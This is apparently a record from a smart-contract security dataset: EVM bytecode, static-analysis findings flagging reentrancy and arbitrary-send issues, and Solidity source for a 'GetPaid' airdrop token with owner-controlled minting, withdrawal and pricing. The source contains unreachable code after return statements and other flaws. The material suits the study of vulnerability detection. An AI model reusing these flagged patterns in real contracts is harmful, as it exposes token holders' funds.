ffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a81905550600a600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061303c82613184565b915061304783613184565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561307c5761307b61325a565b5b828201905092915050565b600061309282613184565b915061309d83613184565b9250826130ad576130ac613289565b5b828204905092915050565b60006130c382613184565b91506130ce83613184565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131075761310661325a565b5b828202905092915050565b600061311d82613184565b915061312883613184565b92508282101561313b5761313a61325a565b5b828203905092915050565b600061315182613164565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131a682613184565b9050919050565b60005b838110156131cb5780820151818401526020810190506131b0565b838111156131da576000848401525b50505050565b6131e98261332a565b810181811067ffffffffffffffff82111715613208576132076132e7565b5b80604052505050565b600061321c82613184565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561324f5761324e61325a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361181613146565b811461361c57600080fd5b50565b61362881613158565b811461363357600080fd5b50565b61363f81613184565b811461364a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4993f777381faa726b0d6b6d724c88539b401ec0e8107d72b369dc97884707f64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,679 |
0x89cf87c35e69a9b84f7a3e50eaf54bfc3cabc377 | pragma solidity ^0.4.22;
// GetPaid Token Project Updated
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) external returns (bool);
function totalSupply() constant external returns (uint256 supply);
function balanceOf(address _owner) constant external returns (uint256 balance);
}
contract GetPaidToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "GetPaid";
string public constant symbol = "GPaid";
uint public constant decimals = 18;
uint256 public totalSupply = 30000000000e18;
uint256 public totalDistributed = 0;
uint256 public totalValue = 0;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value = 200000e18;
uint256 public tokensPerEth = 20000000e18;
uint256 public constant minContribution = 1 ether / 100; // 0.01 Eth
uint256 public constant maxTotalValue = 15000000000e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event Distr0(address indexed to, uint256 amount);
event DistrFinished();
event ZeroEthFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
bool public zeroDistrFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishZeroDistribution() onlyOwner canDistr public returns (bool) {
zeroDistrFinished = true;
emit ZeroEthFinished();
return true;
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr0(address _to, uint256 _amount) canDistr private returns (bool) {
require( totalValue < maxTotalValue );
totalDistributed = totalDistributed.add(_amount);
totalValue = totalValue.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalValue >= maxTotalValue) {
zeroDistrFinished = true;
}
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
address investor = msg.sender;
uint256 toGive = value;
uint256 tokens = 0;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
uint256 bonusFourth = 0;
uint256 bonusHalf = 0;
uint256 bonusTwentyFive = 0;
uint256 bonusFifty = 0;
uint256 bonusOneHundred = 0;
bonusFourth = tokens / 4;
bonusHalf = tokens / 2;
bonusTwentyFive = tokens.add(bonusFourth);
bonusFifty = tokens.add(bonusHalf);
bonusOneHundred = tokens.add(tokens);
if (msg.value == 0 ether) {
require( blacklist[investor] == false );
require( totalValue <= maxTotalValue );
distr0(investor, toGive);
blacklist[investor] = true;
if (totalValue >= maxTotalValue) {
zeroDistrFinished = true;
}
}
if (msg.value > 0 ether && msg.value < 0.1 ether ) {
blacklist[investor] = false;
require( msg.value >= minContribution );
require( msg.value > 0 );
distr(investor, tokens);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
if (msg.value == 0.1 ether ) {
blacklist[investor] = false;
require( msg.value >= minContribution );
require( msg.value > 0 );
distr(investor, bonusTwentyFive);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
if (msg.value > 0.1 ether && msg.value < 0.5 ether ) {
blacklist[investor] = false;
require( msg.value >= minContribution );
require( msg.value > 0 );
distr(investor, bonusTwentyFive);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
if (msg.value == 0.5 ether ) {
blacklist[investor] = false;
require( msg.value >= minContribution );
require( msg.value > 0 );
distr(investor, bonusFifty);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
if (msg.value > 0.5 ether && msg.value < 1 ether ) {
blacklist[investor] = false;
require( msg.value >= minContribution );
require( msg.value > 0 );
distr(investor, bonusFifty);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
if (msg.value == 1 ether) {
blacklist[investor] = false;
require( msg.value >= minContribution );
require( msg.value > 0 );
distr(investor, bonusOneHundred);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
if (msg.value > 1 ether) {
blacklist[investor] = false;
require( msg.value >= minContribution );
require( msg.value > 0 );
distr(investor, bonusOneHundred);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610189578063095ea7b31461021357806318160ddd1461024b57806323b872dd14610272578063313ce5671461029c5780633ccfd60b146102b15780633fa4f245146102c657806342966c68146102db5780634a63464d146102f35780634f4dc71d14610317578063500e9eaa1461032c57806367220fd71461034157806370a082311461039857806395d89b41146103b95780639b1cbccc146103ce5780639ea407be146103e3578063a9059cbb146103fb578063aa6ca8081461017f578063aaffadf31461041f578063c108d54214610434578063c489744b14610449578063cbdd69b514610470578063d4c3eea014610485578063d8a543601461049a578063dd62ed3e146104af578063e58fc54c146104d6578063efca2eed146104f7578063f2fde38b1461050c578063f82a3d6f1461052d578063f9f92be414610542575b610187610563565b005b34801561019557600080fd5b5061019e610a08565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d85781810151838201526020016101c0565b50505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021f57600080fd5b50610237600160a060020a0360043516602435610a3f565b604080519115158252519081900360200190f35b34801561025757600080fd5b50610260610ae7565b60408051918252519081900360200190f35b34801561027e57600080fd5b50610237600160a060020a0360043581169060243516604435610aed565b3480156102a857600080fd5b50610260610c60565b3480156102bd57600080fd5b50610187610c65565b3480156102d257600080fd5b50610260610cc7565b3480156102e757600080fd5b50610187600435610ccd565b3480156102ff57600080fd5b50610187600160a060020a0360043516602435610dac565b34801561032357600080fd5b50610237610dd1565b34801561033857600080fd5b50610237610ddf565b34801561034d57600080fd5b5060408051602060048035808201358381028086018501909652808552610187953695939460249493850192918291850190849080828437509497505093359450610e479350505050565b3480156103a457600080fd5b50610260600160a060020a0360043516610e97565b3480156103c557600080fd5b5061019e610eb2565b3480156103da57600080fd5b50610237610ee9565b3480156103ef57600080fd5b50610187600435610f4f565b34801561040757600080fd5b50610237600160a060020a0360043516602435610fa1565b34801561042b57600080fd5b50610260611080565b34801561044057600080fd5b5061023761108b565b34801561045557600080fd5b50610260600160a060020a0360043581169060243516611094565b34801561047c57600080fd5b50610260611145565b34801561049157600080fd5b5061026061114b565b3480156104a657600080fd5b50610260611151565b3480156104bb57600080fd5b50610260600160a060020a0360043581169060243516611157565b3480156104e257600080fd5b50610237600160a060020a0360043516611182565b34801561050357600080fd5b506102606112d6565b34801561051857600080fd5b50610187600160a060020a03600435166112dc565b34801561053957600080fd5b5061026061132e565b34801561054e57600080fd5b50610237600160a060020a036004351661133e565b600b54600090819081908190819081908190819060ff161561058457600080fd5b339750600954965060009550670de0b6b3a76400006105ae34600a5461135390919063ffffffff16565b8115156105b757fe5b04955050600485049350506002840491506000905080806105d8868661137e565b92506105ea868563ffffffff61137e16565b91506105fc868063ffffffff61137e16565b905034151561069957600160a060020a03881660009081526004602052604090205460ff161561062b57600080fd5b6007546b3077b58d5d37839198000000101561064657600080fd5b610650888861138d565b50600160a060020a0388166000908152600460205260409020805460ff191660011790556007546b3077b58d5d378391980000001161069957600b805461ff0019166101001790555b6000341180156106b0575067016345785d8a000034105b1561071a57600160a060020a0388166000908152600460205260409020805460ff19169055662386f26fc100003410156106e957600080fd5b600034116106f657600080fd5b61070088876114ae565b506005546006541061071a57600b805460ff191660011790555b3467016345785d8a0000141561078f57600160a060020a0388166000908152600460205260409020805460ff19169055662386f26fc1000034101561075e57600080fd5b6000341161076b57600080fd5b61077588846114ae565b506005546006541061078f57600b805460ff191660011790555b67016345785d8a0000341180156107ad57506706f05b59d3b2000034105b1561081757600160a060020a0388166000908152600460205260409020805460ff19169055662386f26fc100003410156107e657600080fd5b600034116107f357600080fd5b6107fd88846114ae565b506005546006541061081757600b805460ff191660011790555b346706f05b59d3b20000141561088c57600160a060020a0388166000908152600460205260409020805460ff19169055662386f26fc1000034101561085b57600080fd5b6000341161086857600080fd5b61087288836114ae565b506005546006541061088c57600b805460ff191660011790555b6706f05b59d3b20000341180156108aa5750670de0b6b3a764000034105b1561091457600160a060020a0388166000908152600460205260409020805460ff19169055662386f26fc100003410156108e357600080fd5b600034116108f057600080fd5b6108fa88836114ae565b506005546006541061091457600b805460ff191660011790555b34670de0b6b3a7640000141561098957600160a060020a0388166000908152600460205260409020805460ff19169055662386f26fc1000034101561095857600080fd5b6000341161096557600080fd5b61096f88826114ae565b506005546006541061098957600b805460ff191660011790555b670de0b6b3a76400003411156109fe57600160a060020a0388166000908152600460205260409020805460ff19169055662386f26fc100003410156109cd57600080fd5b600034116109da57600080fd5b6109e488826114ae565b50600554600654106109fe57600b805460ff191660011790555b5050505050505050565b60408051808201909152600781527f4765745061696400000000000000000000000000000000000000000000000000602082015281565b60008115801590610a725750336000908152600360209081526040808320600160a060020a038716845290915290205415155b15610a7f57506000610ae1565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60055481565b600060606064361015610afc57fe5b600160a060020a0384161515610b1157600080fd5b600160a060020a038516600090815260026020526040902054831115610b3657600080fd5b600160a060020a0385166000908152600360209081526040808320338452909152902054831115610b6657600080fd5b600160a060020a038516600090815260026020526040902054610b8f908463ffffffff6114ea16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610bcc908463ffffffff6114ea16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610c10908463ffffffff61137e16565b600160a060020a03808616600081815260026020908152604091829020949094558051878152905191939289169260008051602061161083398151915292918290030190a3506001949350505050565b601281565b6001546000908190600160a060020a03163314610c8157600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610cc2573d6000803e3d6000fd5b505050565b60095481565b600154600090600160a060020a03163314610ce757600080fd5b33600090815260026020526040902054821115610d0357600080fd5b5033600081815260026020526040902054610d24908363ffffffff6114ea16565b600160a060020a038216600090815260026020526040902055600554610d50908363ffffffff6114ea16565b600555600654610d66908363ffffffff6114ea16565b600655604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600154600160a060020a03163314610dc357600080fd5b610dcd82826114fc565b5050565b600b54610100900460ff1681565b600154600090600160a060020a03163314610df957600080fd5b600b5460ff1615610e0957600080fd5b600b805461ff0019166101001790556040517f2612d8c095cf60b4798a169571c718da6662b26b0b7daf32efa89d0ed8e6984f90600090a150600190565b600154600090600160a060020a03163314610e6157600080fd5b5060005b8251811015610cc257610e8f8382815181101515610e7f57fe5b90602001906020020151836114fc565b600101610e65565b600160a060020a031660009081526002602052604090205490565b60408051808201909152600581527f4750616964000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610f0357600080fd5b600b5460ff1615610f1357600080fd5b600b805460ff191660011790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610f6657600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190